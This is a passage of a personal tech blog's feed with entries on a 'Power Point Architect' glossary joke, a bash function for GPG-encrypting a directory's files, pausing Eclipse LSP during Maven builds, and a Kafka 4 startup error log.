Abbreviation: PPA&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;colloquial. A person who has never contributed code to a software
   product but who makes or influences high-level architectural
   decisions that affect the design, development, and maintenance of
   that product, through presentations, meetings, and Power Point
   slides rather than working code.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Compare: software architect, system architect, technical architect.&lt;/p&gt;
&lt;p&gt;Note: A Power Point Architect is distinct from a Software Architect—an
experienced developer who has contributed substantial code to the
product and has transitioned to focus on system design, interface
specifications, and technical communication. Such architects are
typically guided by best practices as outlined in texts such as &lt;a href="https://www.oreilly.com/library/view/97-things-every/9780596800611/"&gt;97
Things Every Software Architect Should
Know&lt;/a&gt;
(Monson-Haefel, R., 2009).&lt;/p&gt;</content><category term="various"/><category term="various"/></entry><entry><title>Encrypt all files in dir using GPG</title><link href="https://skybert.net/unix/encrypt-all-files-in-dir-using-gpg" rel="alternate"/><published>2025-05-27T00:00:00+02:00</published><updated>2025-05-27T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-05-27:/unix/encrypt-all-files-in-dir-using-gpg</id><summary type="html">&lt;p&gt;If you have your unencrypted files in a directory "unencrypted":&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;find&lt;span class="w"&gt; &lt;/span&gt;unencrypted&lt;span class="w"&gt; &lt;/span&gt;-type&lt;span class="w"&gt; &lt;/span&gt;f
unencrypted/foo.conf
unencrypted/secret/bar.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You can write a wee bash function like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;## $1 :: dir with files you want to encrypt&lt;/span&gt;
&lt;span class="nv"&gt;gpg_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;your.user@example.com

encrypt_files_in_dir&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;dir&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;find&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;dir&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-type …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;If you have your unencrypted files in a directory "unencrypted":&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;find&lt;span class="w"&gt; &lt;/span&gt;unencrypted&lt;span class="w"&gt; &lt;/span&gt;-type&lt;span class="w"&gt; &lt;/span&gt;f
unencrypted/foo.conf
unencrypted/secret/bar.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You can write a wee bash function like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;## $1 :: dir with files you want to encrypt&lt;/span&gt;
&lt;span class="nv"&gt;gpg_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;your.user@example.com

encrypt_files_in_dir&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;dir&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;find&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;dir&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-type&lt;span class="w"&gt; &lt;/span&gt;f&lt;span class="w"&gt; &lt;/span&gt;-and&lt;span class="w"&gt; &lt;/span&gt;-not&lt;span class="w"&gt; &lt;/span&gt;-name&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;*.asc&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;f&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;gpg&lt;span class="w"&gt; &lt;/span&gt;--encrypt&lt;span class="w"&gt; &lt;/span&gt;--armour&lt;span class="w"&gt; &lt;/span&gt;--yes&lt;span class="w"&gt; &lt;/span&gt;--recipient&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;gpg_key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;target_dir&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;dirname&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s#/unencrypted##&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;target_dir&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;.asc&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;target_dir&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/.&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then call it with a directory holding &lt;em&gt;unencrypted&lt;/em&gt; files:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;main&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;encrypt_files_in_dir&lt;span class="w"&gt; &lt;/span&gt;/path/to/unencrypted
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This will encrypt all the files and put them in a similar structure:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ find -type f
unencrypted/foo.conf
unencrypted/secret/bar.conf
foo.conf.asc
secret/bar.conf.asc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Nice, eh?&lt;/p&gt;</content><category term="unix"/><category term="unix"/><category term="bash"/><category term="security"/></entry><entry><title>The Mystery of Code Sometimes Not Compiling</title><link href="https://skybert.net/java/the-mystery-of-code-sometimes-not-compiling" rel="alternate"/><published>2025-05-07T00:00:00+02:00</published><updated>2025-05-07T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-05-07:/java/the-mystery-of-code-sometimes-not-compiling</id><summary type="html">&lt;p&gt;Java developers: If you're using the &lt;a href="https://projects.eclipse.org/projects/eclipse.jdt.ls"&gt;Eclipse
LSP&lt;/a&gt; in your
editor and Maven on the command line, the former will cause problems
if you have annotation processors. Several editors use the Eclipse
LSP, including VS Code and Emacs.&lt;/p&gt;
&lt;p&gt;If you're suffering from random errors with your Lombok, Protobuf or
other …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Java developers: If you're using the &lt;a href="https://projects.eclipse.org/projects/eclipse.jdt.ls"&gt;Eclipse
LSP&lt;/a&gt; in your
editor and Maven on the command line, the former will cause problems
if you have annotation processors. Several editors use the Eclipse
LSP, including VS Code and Emacs.&lt;/p&gt;
&lt;p&gt;If you're suffering from random errors with your Lombok, Protobuf or
other annotation processed magic beans, you can use this trick when
running &lt;code&gt;mvn&lt;/code&gt; on the command line:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Pause Eclipse LSP processes: &lt;code&gt;pgrep -f org.eclipse.jdt.ls | xargs kill -STOP&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Run Maven as normal: &lt;code&gt;mvn install&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Resume Eclipse LSP processes: &lt;code&gt;pgrep -f org.eclipse.jdt.ls | xargs kill -CONT&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This took me a &lt;em&gt;long&lt;/em&gt; time to figure out.&lt;/p&gt;
&lt;p&gt;You can also put this in a shell alias, so you can just type &lt;code&gt;mci&lt;/code&gt;
(short for &lt;code&gt;mvn clean install&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;alias&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mci&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;pgrep -f org.eclipse.jdt.ls |&lt;/span&gt;
&lt;span class="s"&gt;  xargs kill -STOP ;&lt;/span&gt;
&lt;span class="s"&gt;  mvn clean; mvn install ;&lt;/span&gt;
&lt;span class="s"&gt;  pgrep -f org.eclipse.jdt.ls | xargs kill -CONT;&lt;/span&gt;
&lt;span class="s"&gt;  xeyes&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Happy coding!&lt;/p&gt;</content><category term="java"/><category term="java"/><category term="emacs"/></entry><entry><title>Kafka Fails to Start</title><link href="https://skybert.net/linux/kafka-fails-to-start" rel="alternate"/><published>2025-04-29T00:00:00+02:00</published><updated>2025-04-29T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-04-29:/linux/kafka-fails-to-start</id><summary type="html">&lt;p&gt;After upgrading to Kafka 4 on &lt;a href="/dongxi/the-way-i-work-in-2025/"&gt;my Arch Linux
machine&lt;/a&gt;, Kafka would no longer
start:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ grep &amp;#39;2025.*upgraded kafka&amp;#39; /var/log/pacman.log
[2025-04-08T09:19:03+0200] [ALPM] upgraded kafka (3.9.0-1 -&amp;gt; 4.0.0-1)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;The error: No readable meta.properties files found&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;×&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Kafka&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;Loaded:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loaded …&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;After upgrading to Kafka 4 on &lt;a href="/dongxi/the-way-i-work-in-2025/"&gt;my Arch Linux
machine&lt;/a&gt;, Kafka would no longer
start:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ grep &amp;#39;2025.*upgraded kafka&amp;#39; /var/log/pacman.log
[2025-04-08T09:19:03+0200] [ALPM] upgraded kafka (3.9.0-1 -&amp;gt; 4.0.0-1)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;The error: No readable meta.properties files found&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;×&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Kafka&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;Loaded:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loaded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/usr/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="sr"&gt;/systemd/s&lt;/span&gt;&lt;span class="n"&gt;ystem&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;enabled&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;preset:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;disabled&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;Active:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Result:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;since&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Mon&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2025&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mo"&gt;04&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CEST&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ago&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;Duration:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;992&lt;/span&gt;&lt;span class="n"&gt;ms&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Invocation:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ba41cd048f3e43e29559fcd7bf5ae786&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Process:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;523358&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExecStart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sr"&gt;/usr/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="sr"&gt;/kafka-server-start.sh /&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="sr"&gt;/kafka/s&lt;/span&gt;&lt;span class="n"&gt;erver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;properties&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;exited&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;FAILURE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;Main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PID:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;523358&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;exited&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;FAILURE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;Mem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;peak:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;134.5&lt;/span&gt;&lt;span class="n"&gt;M&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;CPU:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1.429&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;

&lt;span class="n"&gt;Apr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;523358&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lang&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RuntimeException:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;No&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;readable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;properties&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;found&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Apr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;523358&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;apache&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;metadata&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;properties&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MetaPropertiesEnsemble&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MetaPropertiesEnsemble&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;java:480&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;metadata&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;4.0.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jar:&lt;/span&gt;&lt;span class="p"&gt;?]&lt;/span&gt;
&lt;span class="n"&gt;Apr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;523358&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;KafkaRaftServer&lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;initializeLogDirs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KafkaRaftServer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scala:141&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;kafka_2&lt;/span&gt;&lt;span class="mf"&gt;.13&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;4.0.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jar:&lt;/span&gt;&lt;span class="p"&gt;?]&lt;/span&gt;
